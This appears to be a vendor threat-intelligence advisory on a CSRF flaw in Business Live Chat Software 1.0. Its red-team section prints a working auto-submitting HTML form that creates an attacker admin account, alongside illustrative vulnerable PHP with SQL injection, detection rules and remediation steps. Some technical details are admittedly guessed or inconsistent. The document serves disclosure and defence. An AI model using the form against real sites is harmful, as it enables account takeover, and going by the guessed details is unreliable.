CVE-2020-37106

Executive Summary

CVE-2020-37106 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Business Live Chat Software version 1.0. The flaw allows an unauthenticated attacker to craft a malicious HTML form that, when submitted by an authenticated administrator, silently changes user account roles (e.g., elevating a standard user to admin). This can lead to full administrative compromise of the chat application. No patch has been released by the vendor, and the vulnerability remains unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is high due to the lack of a fix.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP-based web application.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to craft the exploit.
• User Interaction: Required (UI:R) – Victim must click the malicious link or submit the form.
• Scope: Unchanged (S:U) – The vulnerable component remains the same.
• Confidentiality Impact: High (C:H) – Attacker can read all chat data and user info.
• Integrity Impact: High (I:H) – Attacker can modify user roles and data.
• Availability Impact: High (A:H) – Attacker can lock out legitimate admins.

Threat Level: High. The vulnerability is trivial to exploit and requires only a single click from an admin. No authentication is needed to craft the attack.

Deep Dive & Mechanics

The vulnerability resides in the user creation endpoint of Business Live Chat Software 1.0. The application does not implement any CSRF tokens or origin validation on POST requests to /admin/user_create.php (or similar). An attacker can create a malicious HTML form that, when submitted by an authenticated admin, sends a POST request with parameters like role=admin and username=attacker. The server processes the request without verifying the request's origin, thus creating a new admin account.

Root Cause: Lack of CSRF protection (no token, no SameSite cookie attribute, no Referer/Origin header check).

Attack Flow:

1. Attacker crafts an HTML page with a hidden form that POSTs to the vulnerable endpoint.
2. Attacker hosts the page or sends it via email/social engineering.
3. Victim (authenticated admin) visits the page and the form auto-submits (or requires a click).
4. The server creates a new admin account controlled by the attacker.
5. Attacker logs in with the new admin credentials and takes over the application.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code to a hypothetical secure implementation.

Vulnerable Code (PHP):

<?php
// admin/user_create.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $role = $_POST['role']; // e.g., 'admin'
    // No CSRF check
    $db->query("INSERT INTO users (username, password, role) VALUES ('$username', '$password', '$role')");
    echo "User created.";
}
?>

Patched Code (Hypothetical):

<?php
// admin/user_create.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF validation failed.");
    }
    $username = htmlspecialchars($_POST['username']);
    $password = password_hash($_POST['password'], PASSWORD_DEFAULT);
    $role = $_POST['role'];
    // Use prepared statements
    $stmt = $db->prepare("INSERT INTO users (username, password, role) VALUES (?, ?, ?)");
    $stmt->execute([$username, $password, $role]);
    echo "User created.";
}
?>

Exploitation & Lab Setup

Red Team (Attacker)

Step 1: Craft the malicious HTML form.

<html>
<body>
<form action="http://target.com/admin/user_create.php" method="POST" id="csrf_form">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="pwned123">
    <input type="hidden" name="role" value="admin">
    <input type="submit" value="Click me">
</form>
<script>
    // Auto-submit the form
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Step 2: Host the page and send the link to an authenticated admin.

Step 3: After the admin visits, log in with attacker:pwned123 and gain admin access.

Step 4: (Optional) Use a Python script to automate the attack.

import requests

target = "http://target.com/admin/user_create.php"
payload = {
    "username": "attacker",
    "password": "pwned123",
    "role": "admin"
}
# This requires the victim to have an active session cookie.
# The attacker cannot directly send this without the victim's session.
# The HTML form is the actual exploit.
print("Craft the HTML form and send to victim.")

Blue Team (Defender)

Detection:

• Monitor for POST requests to /admin/user_create.php without a valid CSRF token.
• Look for multiple rapid user creation attempts from the same IP.
• Alert on new admin accounts created outside of normal business hours.

Prevention:

• Implement CSRF tokens on all state-changing endpoints.
• Set SameSite=Strict or SameSite=Lax on session cookies.
• Validate the Origin or Referer header on POST requests.
• Use prepared statements to prevent SQL injection (secondary risk).

Lab Setup:

1. Download Business Live Chat Software 1.0 from a trusted archive (e.g., SourceForge).
2. Install on a local XAMPP/WAMP server.
3. Create an admin account manually.
4. Host the malicious HTML on a separate local server (e.g., Python HTTP server).
5. As the admin, visit the malicious page and observe the new admin account.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/user_create.php with parameters username, password, role.
  • Unusual Referer headers (e.g., from attacker-controlled domains).
• System:
  • New user accounts in the database with role=admin created without admin action.
  • Log entries showing user creation from unexpected IPs.
• File:
  • Presence of malicious HTML files on admin workstations (if downloaded).
• Behavioral:
  • Multiple failed login attempts from the new attacker account (if password is guessed).

Detection Engineering

YARA Rule

rule CVE_2020_37106_CSRF_Exploit {
    meta:
        description = "Detects malicious HTML forms targeting Business Live Chat Software CSRF"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37106"
    strings:
        $form = /<form[^>]*action=["'][^"']*\/admin\/user_create\.php["'][^>]*>/i
        $role_admin = /<input[^>]*name=["']role["'][^>]*value=["']admin["']/i
        $auto_submit = /document\.getElementById\(["']csrf_form["']\)\.submit\(\)/i
    condition:
        $form and $role_admin and $auto_submit
}

Sigma Rule

title: CVE-2020-37106 CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Business Live Chat user creation endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: '/admin/user_create.php'
    filter:
        cs-uri-query|contains: 'csrf_token'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if CSRF token is implemented
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2020-37106 CSRF Exploit - Business Live Chat User Creation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/user_create.php"; http_uri;
    content:"username="; http_client_body;
    content:"role=admin"; http_client_body;
    pcre:"/Referer:\s*(?!https?:\/\/[^\/]*target\.com)/Hi";
    sid:1000001;
    rev:1;
    reference:cve,2020-37106;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the user creation endpoint if not needed, or restrict access by IP.
2. Implement CSRF tokens manually by modifying the PHP code (see patched code above).
3. Set SameSite cookie attribute to Strict or Lax in the session configuration.
4. Validate Origin/Referer headers on all POST requests.

Long-term:

• Upgrade to a patched version if the vendor releases one (currently none).
• Replace the software with a supported alternative if possible.
• Conduct a security audit of all custom PHP applications.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /admin/user_create.php without a valid CSRF token (custom rule).
• Educate administrators to never click suspicious links while logged in.

Valters IT – DevSecOps & Cyber Threat Intelligence Report